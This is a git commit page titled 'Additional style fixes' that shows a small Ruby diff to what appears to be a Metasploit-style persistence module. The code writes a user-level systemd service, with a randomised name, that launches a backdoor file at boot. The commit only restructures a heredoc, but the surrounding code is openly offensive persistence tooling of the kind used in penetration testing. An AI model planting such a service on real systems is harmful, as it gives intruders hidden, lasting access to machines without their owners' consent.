Additional style fixes

master
terrorbyte 2019-02-20 15:33:33 -06:00
parent 364460a787
commit 449307c7df
No known key found for this signature in database
GPG Key ID: 514C18637CBCF64B
1 changed files with 1 additions and 3 deletions

View File

@ -171,8 +171,7 @@ WantedBy=multi-user.target}
end
def systemd_user(backdoor_path, backdoor_file)
def script
<<~EOF
script = <<~EOF
[Unit]
Description=Start daemon at boot time
After=
@ -186,7 +185,6 @@ WantedBy=multi-user.target}
[Install]
WantedBy=default.target
EOF
end
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
home = cmd_exec('echo ${HOME}')
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"